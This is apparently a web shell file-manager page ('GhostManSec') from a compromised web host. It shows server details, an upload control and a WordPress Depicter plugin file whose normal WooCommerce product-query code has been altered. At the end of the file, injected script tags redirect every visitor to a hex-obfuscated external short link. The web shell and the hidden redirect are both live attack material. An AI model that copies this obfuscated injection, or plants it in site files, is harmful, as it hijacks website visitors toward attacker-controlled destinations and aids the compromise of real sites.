GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/DataSources/HandPickedProducts.php
<?php
namespace Depicter\DataSources;

use Averta\Core\Utility\Data;

class HandPickedProducts extends Products {

	/**
	 * DataSource name
	 *
	 * @var string
	 */
	protected string $type = 'wooHandpicks';

	/**
	 * DataSource properties
	 *
	 * @var array
	 */
	protected array $properties = [
		'type'     => 'wooHandpicks',
		'postType' => 'product'
	];

	/**
	 * Default input params for retrieving dataSource records
	 *
	 * @var array
	 */
	protected array $defaultInputParams = [
		'postType' => 'product',
		'excerptLength' => 100,
		'linkSlides' => false,
		'orderBy' => 'post__in',
		'order' => 'DESC',
		'imageSource' => 'featured',
		'includedIds' => '',
		'excludeNonThumbnail' => true,
        'inStockOnly' => true
	];

    /**
	 * Retrieves the list of records based on query params
	 *
	 * @param $args
	 *
	 * @return \WP_Query
	 */
	protected function getRecords( $args ){

		$queryArgs = [
		    'post_type'       => $args['postType'],
		    'order'           => $args['order'],
		    'orderby'         => $args['orderBy'],
		    'post__in'        => $args['includedIds'],
		    'tax_query'       => [],
			'meta_query'      => []
	    ];

		if( Data::isTrue( $args['excludeNonThumbnail'] ) ){
			$queryArgs['meta_query'][] = [
	    		'key'     => '_thumbnail_id',
                'compare' => 'EXISTS'
		    ];
		}

	    if ( !empty( $args['excerptLength'] ) ) {
	    	add_filter( 'excerpt_length', function () use ($args) {
	    		return $args['excerptLength'];
		    });
	    }

        if ( Data::isTrue( $args['inStockOnly'] ) ) {
            $queryArgs['meta_query'][] = [
                'key' => '_stock_status',
                'value' => 'instock',
                'compare' => '=',
            ];
        }

		return new \WP_Query( $queryArgs );
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>